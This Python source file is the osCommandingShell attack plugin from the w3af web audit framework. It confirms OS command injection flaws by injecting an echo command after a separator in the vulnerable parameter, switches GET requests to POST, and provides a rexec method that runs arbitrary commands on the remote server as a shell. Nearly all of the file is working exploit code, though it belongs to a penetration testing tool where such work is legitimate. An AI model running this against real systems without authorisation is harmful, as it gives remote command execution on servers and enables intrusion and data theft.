''' osCommandingShell.py Copyright 2006 Andres Riancho This file is part of w3af, w3af.sourceforge.net . w3af is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation version 2 of the License. w3af is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with w3af; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA ''' from core.data.fuzzer.fuzzer import * import core.controllers.outputManager as om from core.controllers.basePlugin.baseAttackPlugin import baseAttackPlugin import core.data.kb.knowledgeBase as kb from core.controllers.w3afException import w3afException class osCommandingShell(baseAttackPlugin): ''' This plugin exploits OS Commanding bugs. @author: Andres Riancho ( andres.riancho@gmail.com ) ''' def __init__(self): baseAttackPlugin.__init__(self) self._shell = None self._changeToPost = True def fastExploit(self, url, method, data ): ''' Exploits a web app with osCommanding vuln. @parameter url: A string containing the Url to exploit ( http://somehost.com/foo.php ) @parameter method: A string containing the method to send the data ( post / get ) @parameter data: A string containing data to send with a mark that defines which is the vulnerable parameter ( aa=notMe&bb=almost&cc=[VULNERABLE] ) ''' return self._shell def getType(self): return 'shell' def canExploit(self ): ''' Searches the kb for vulnerabilities that the plugin can exploit. @return: True if plugin knows how to exploit a found vuln. ''' osCommandingVulns = kb.kb.getData( 'osCommanding' , 'osCommanding' ) if len( osCommandingVulns ) == 0: return False else: return True def exploit(self ): ''' Exploits a osCommanding vuln that was found and stored in the kb. @return: True if the shell is working and the user can start calling rexec ''' om.out.information( 'osCommanding exploit plugin is starting.' ) osCommandingVulns = kb.kb.getData( 'osCommanding' , 'osCommanding' ) if len( osCommandingVulns ) == 0: raise w3afException('No OS Commanding vulnerabilities have been found.') for vuln in osCommandingVulns: # Try to get a shell using all vuln if self._generateShell(vuln): # A shell was generated, I only need one point of exec. return True return False def _generateShell( self, vuln ): ''' @parameter vuln: The vuln to exploit. @return: True is a shell object based on the param vuln was created ok. ''' # Check if we really can execute commands on the remote server if self._verifyVuln( vuln ): if vuln.getMethod() != 'POST' and self._changeToPost and self._verifyVuln( self.GET2POST( vuln ) ): om.out.information('The vulnerability was found using method GET, but POST is being used during this exploit.') self._vuln = self.GET2POST( vuln ) else: om.out.information('The vulnerability was found using method GET, tried to change the method to POST for exploiting but failed.') self._vuln = vuln return True else: return False def _verifyVuln( self, vuln ): ''' This command verifies a vuln. This is really hard work! @return : True if vuln can be exploited. ''' # The vuln was saved to the kb as: # kb.kb.append( self, 'osCommanding', v ) exploitQs = vuln.getDc() # Define a test command: rand = createRandAlpha( 8 ) if vuln['os'] == 'windows': command = vuln['separator'] + 'echo ' + rand else: command = vuln['separator'] + '/bin/echo ' + rand # Lets define the result header and footer. functionReference = getattr( self._urlOpener , vuln.getMethod() ) exploitQs[vuln.getVar()] = command try: response = functionReference( vuln.getURL(), str(exploitQs) ) except Exception, e: om.out.error( str(e) ) return False else: return self._defineCut( response.getBody(), rand, exact=True ) def rexec( self, command ): ''' This method is called when a command is being sent to the remote server. This is a NON-interactive shell. @parameter command: The command to send ( ie. "ls", "whoami", etc ). @return: The result of the command. ''' # Lets send the command. functionReference = getattr( self._urlOpener , self._vuln.getMethod() ) exploitQs = self._vuln.getDc() exploitQs[ self._vuln.getVar() ] = self._vuln['separator'] + command try: response = functionReference( self._vuln.getURL() , str(exploitQs) ) except Exception, e: return 'Error "' + str(e) + '" while sending command to remote host. Try again.' else: return self._cut( response.getBody() ) def getOptionsXML(self): ''' This method returns a XML containing the Options that the plugin has. Using this XML the framework will build a window, a menu, or some other input method to retrieve the info from the user. The XML has to validate against the xml schema file located at : w3af/core/ui/userInterface.dtd @return: XML with the plugin options. ''' return '\ \ \ \ ' def setOptions( self, OptionList ): ''' This method sets all the options that are configured using the user interface generated by the framework using the result of getOptionsXML(). @parameter OptionList: A dictionary with the options for the plugin. @return: No value is returned. ''' pass def getPluginDeps( self ): ''' @return: A list with the names of the plugins that should be runned before the current one. ''' return [] def getRootProbability( self ): ''' @return: This method returns the probability of getting a root shell using this attack plugin. This is used by the "exploit *" function to order the plugins and first try to exploit the more critical ones. This method should return 0 for an exploit that will never return a root shell, and 1 for an exploit that WILL ALWAYS return a root shell. ''' return 0.8 def getLongDesc( self ): ''' @return: A DETAILED description of the plugin functions and features. ''' return ''' This plugin exploits os commanding vulnerabilities and returns a remote shell. One configurable parameters exist: - changeToPost '''